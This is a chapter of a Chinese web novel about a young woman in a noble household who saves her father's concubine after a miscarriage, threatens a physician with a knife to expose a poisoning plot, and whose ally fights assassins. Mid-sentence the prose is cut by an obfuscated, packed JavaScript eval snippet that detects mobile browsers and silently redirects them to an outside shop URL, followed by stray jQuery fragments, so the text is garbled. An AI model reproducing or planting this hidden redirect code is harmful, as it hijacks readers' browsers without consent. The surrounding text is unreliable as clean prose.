36. 寿宴(二)
作品:《且看我拔刀相助》 窦靖旬本在前院主持大局,然而一听是郑盼儿落水,当即便坐不住了,一时心急又喝了酒,竟昏了过去。
宾客们见此纷纷回家。
庭院霎时空落落,而昔日鲜有人在的院门反复打开又关上,一盆盆热水进去,转瞬便是鲜红抬出。
郑盼儿的情况很不好,她腹中胎儿不足两月,早已混入鲜血流出体外。她气血两空,五脏六腑受湖水浸泡太久,皆受到不小的损害。
窦清只能先施针止血。
待血止住后,张途申背着药箱,慌忙进屋。他立即诊脉,神色不佳,“脉象已十分微弱,唯有用人参吊一口气,方能续命。”
窦清早就想到了此法,却始终未说。她面露难色,“可她的身体……不一定受得住猛药。”
“是啊,”张途申转过头,对窦清低声说道:“所以小姐不必再救。”
他的话只有两人能听见,“窦三小姐忘了吗?她只是一位侧室,是与你母亲争这后宅之人。”
屋中几个婢女动作小心,只发出一点窸窸窣窣的声音。
进院至今,窦清还未在谁脸上看过急切,这院中的主人将死,院中婢女也只是想令谋出路吧。
窦清喝出一声冷笑。
她低头看向郑盼儿,那张脸苍白如纸,嘴唇已无半点血色,可这屋中却四处弥漫着她的血。
两月前窦烨死的时候,她哭成什么样来着?
不重要,她的泪不重要、情感不重要、就连命都是不重要的。
血肉之躯摆在面前,在旁人眼中不过是一道门槛,或高或低,皆可被踩在脚下,哪天看不顺眼,命人拆了、砸了。
窦清抬手,指尖搭上郑盼儿的腕,脉还在跳,只是弱得像随时会断。
她轻轻移开手。
张途申见她缓缓松开了手,已送下一口气,却听她说了一句:“不是。”
窦清眼底生寒,一双杏眸抬起,宛若两把长刀,“张医师,此刻她只是你我手中的病人。”
“你忘了吗?”窦清以同样的话对张途申说:“你妻子刚刚生产,你就不怕今日见死不救,来日报应降在你刚出世的孩子身上?”
张途申怒目圆瞪,“你!你怎能说这话咒我!”
窦清一把抓住他的手臂,眼中坚定不移,“你我都知,哪怕此刻用尽浑身解数也不一定救得了她。与其日后良心不安,不如现在放手一试。”
张途申凝目与她对视,他眼皮一颤又看了看榻上之人,血流着、气散着,救也无用。
他的手臂逐渐放松下来,眼中也略有迟疑。
窦清松开他,拱手作揖,“我学识不精,请张医师给她一条活路。”
也许是想起了自己的妻儿、也许是那句“不一定救得了”、也许是那一声“张医师”……张途申自知称不上善人,却也有几分医者仁心。
他认命般合上双眼,地低下头,“我有一道药方,或许可行……”
廊下的灯晃了又晃,屋外寂静无声,地上人影幢幢。
“府上出了此等大事,实在无暇照料贵客,”窦湛朗双手背在身后,直直立在院外,“不如世子先请回,改日在下定登门拜访。”
魏连谨站在对面,颇为认同的点了点头,随后突然面向右方,像是才见着那站立许久的人一样,“这位可是盛都的徐公子?”
徐平征微微向他颔首,“久仰世子大名。”
砰——
几人视线瞬间转向院子深处。
窦湛朗皱着眉上前迎了一步,“明姝,情况如……”
窦清从头到脚没一块是干的,她身上滴着水,跑出来时甩了最前面的窦湛朗一身,却像是没看见他似的,径直拉着魏连谨跑了。
当真是天意如此,张途申那药方中最需的百年野人参,正是她给窦靖旬的生辰礼。
窦清拉着魏连谨一路跑到库房,找到那救命稻草。
她把一直藏在腰间的刀放在魏连谨手中,“王惠妤肯定不会让窦靖旬醒过来,他若不醒郑盼儿还是活不了,我身上只有这个了。”
魏连谨看着手中的刀,笑了。他将短刀放回窦清手上,握着她的手,也握着刀,“你留着防身。”
窦清也笑了笑,“好。”
她有预感,只要郑盼儿能活,今夜窦家便会重新洗牌。
风雨欲来,窦清此刻无比心安。早在湖中救下郑盼儿时,她便用一丝灵力护住了郑盼儿的心脉,但自己只能保她活,却不能救她命。
窦清看着眼前人,半月不见,他们还未好好说上一句话。
她仰着头,眉毛轻轻挑起,“等结束了我有东西给你。”
魏连谨松开她的手,“好。”
二人方向相悖,窦清揣着人参往自己院中跑去,魏连谨潜入月下阴影,一路向东。
待窦清拿了其他所需回到郑盼儿的小院时,窦湛朗与徐平征仍旧守在院外,只是不见徐平征身侧的田福。
陈实对她点头,院内一切如常。
窦清进屋亲手熬药,张途申则为郑盼儿用艾炷驱寒。
艾草味逐渐覆盖了房中的腥味,又过了半个时辰,草药的苦涩之气也混入屋中。
而另一边,魏连谨一路跑至窦靖旬屋外,匿身桃树后。
屋外被一群人围着,严防死守。魏连谨观察了会,发现他们防范的矩阵井井有条,不像是寻常家丁。
应是训练有素的杀手。
魏连谨沉思片刻,脱下外衣,又从腰间掏出火折子。他将衣服点燃,扔进一旁的灌木丛中。
火越烧越旺,烧焦味吸引了屋子外杀手。
有两人前来探查,魏连谨半蹲在桃树后,找准时机上前,一击便扭断其中一人的脖子。
瞬息之间,魏连谨抬手将另一人双手反剪,又捂住他的嘴。
那人看着同伴张嘴倒地,一丝血从唇角流下。身后之人低沉说道:“按我说的做。”
不一会儿,男人掺着垂头的“同伴”返回。
为首之人问:“他怎么了。”
男人指着他烧焦的裤脚,“方才里面起了火,他去扑火时摔了一跤。”
为首之人仔细瞧了瞧,向后方扭了下头。
男人揽着“同伴”,向院后走去。
魏连谨垂头掩面,也注意着路过时周围的人数。他被那人带到西南角后,周围一人都没有了。
他眼疾手快,一记手刀劈在男人颈上。
动作间身上刺啦一声,袖子竟直接崩开了。魏连谨将那男人轻轻放下,仅仅是轻微的动作,腰侧又崩开一块。
他低头看了看这身过小的衣服,心中顿感不妙。魏连谨呼吸放缓,一步步走向转弯处……
十几名杀手恭候多时,为首那人的声音与方才询问之人如出一辙,“世子好雅兴。”
“你半夜上湖边儿干什么?”窦清没忍住说了句。
郑盼儿总算是醒了。
她循声抬眼,一见不是最坏的结果,顿时松了口气。郑盼儿气若游丝,“老爷……我要见老爷。是……是夫人。”
窦清一息过后才听出她说了什么,她立即转过头看向张途申,对方显然是还没有听懂。
不过须臾,窦清心下决断,右手摸向腰间,拔刀对准张途申的脖子。
后方下人只见三小姐半个肩膀遮住张医师,似是在探讨治疗之法。
窦清眉毛下压,一边轻轻对郑盼儿摇头,一边压着张途申,“别动。”
唯有张途申面对抵在喉咙上的刀发颤,听见平日柔弱的三小姐说:“张医师,想活命就按我说的做。”
张途申喉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348208|194523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结上下滚动,“小、小姐……这话从何说起?”
郑盼儿皱着眉看着两人的动作,却听不见声,只能瞧见窦清一双狠厉的眼与那反复张开的唇。
“你与我大哥合谋,害我父亲的事已经瞒不住了。”
张途申霎时身体一僵,窦清继续低声道:“张医师授我医术,也算是我的师傅。”
“我实在不愿见您……”窦清将刀尖贴上张途申的皮肉,“误入歧途。”
窦清紧紧握着刀,也盯紧张途申每一次呼吸,“我知道,您顾忌妻儿,不敢违抗窦湛朗的命令。纵是如此,张医师还是尽力救下郑盼儿,可见您与那心狠手辣之人完全不同。”
房中婢女为清理血迹来回走动,有人看着榻前两位,觉得他二人举止亲密的念头在心间一闪而过。
窦清感受到身后有打量的视线,抓紧提出要求:“待会儿,我爹便会过来。今夜之后张医师定还要留府几日,还请张医师寻个时机,将那慢性索命之法与尚书大人言明。”
张途申听此话面色一凝,而脖颈前的刀尖偏开半寸,实在令他暂时松了一口气,“小姐若寄托于尚书大人,恐怕此局会败。”
窦清想起与魏连谨分别的场景,轻声道:“我托的不是他。”
“受制于人的滋味不好受,葛太医那样的御前红人,也要为自己谋求后路。”窦清收起刀,向榻前去看郑盼儿的情况,“张医师不必过早答复,您且看着窦府的天,届时再做打算也不迟。”
早在与魏连谨合作之初,窦清便发现无论威逼还是利诱,都不足以令合作双方满意。
各人有各人的应对之法,缺什么便给什么。
对于张途申这样惯受压迫之人,便给他选择的权力。
郑盼儿出了一身汗,脉象虽还是十分微弱,心跳却已平缓许多。
窦清将她扶起来,揽人入怀,将剩下的药喂给她。直至小半碗药下肚,郑盼儿的脸色总算好了一些,而此时院外也终于传来几声恭敬的——
“老爷。”
窦靖旬推门而入,一见地上的血霎时面色铁青。他大步流星地走到榻前,上半身湿淋淋的,像是被人泼了一盆水。
张途申退到一旁,不可置信地看着窦靖旬的背影。他缓缓朝床边的另一人看去,刚好与窦清对上视线——
一股冷意自后背席卷而来,张途申瞬间屏住呼吸。
窦清只看了他一眼便收回视线,看向面前的情郎爱妾。
床上的郑盼儿苍白无力,眼泪霎时大颗大颗地砸下,声音细弱,“老爷……我的孩子……”
窦靖旬不知怎的,一股愧意油然而生,仿佛又被泼了一盆水。
他母亲曾是侧室,纵是做了当家主母也难改“贱妾”自称。郑盼儿更是自打入府便谨小慎微,连“妾身”二字说得都是少之又少,如今……
她竟说了我,我的孩子。
窦靖旬猛地握紧郑盼儿的手,柔软又毫无威胁的手。
“老爷……”郑盼儿虚虚回握着他,“夫人将我推进了湖中……我的孩子没有了……我们的孩子……”
她如一朵凋零的花,只剩一根单薄的茎杆,还勉强立着。
叫人忆往昔,又生怜。
窦靖旬抬起手,拭去她脸上的泪,眼中似有怜爱、似有愧疚。泪痕难断,将窦靖旬的眼角逐渐浸湿。
窦清微微一怔,而窦靖旬说的话更是让她一震。
他牵起郑盼儿的手,轻轻贴在自己额头上,一滴泪,不知流向了何处。他说:“别怕,我一定替您讨回公道。”
而被他错认的郑盼儿只是用力扯出一抹笑,指尖轻抚他头顶。
窦清低头时,眸中惊愕难藏,扶着郑盼儿肩膀的右手缓缓收紧。
她倏地想起今夜的寿宴,乃是郑盼儿的提议。

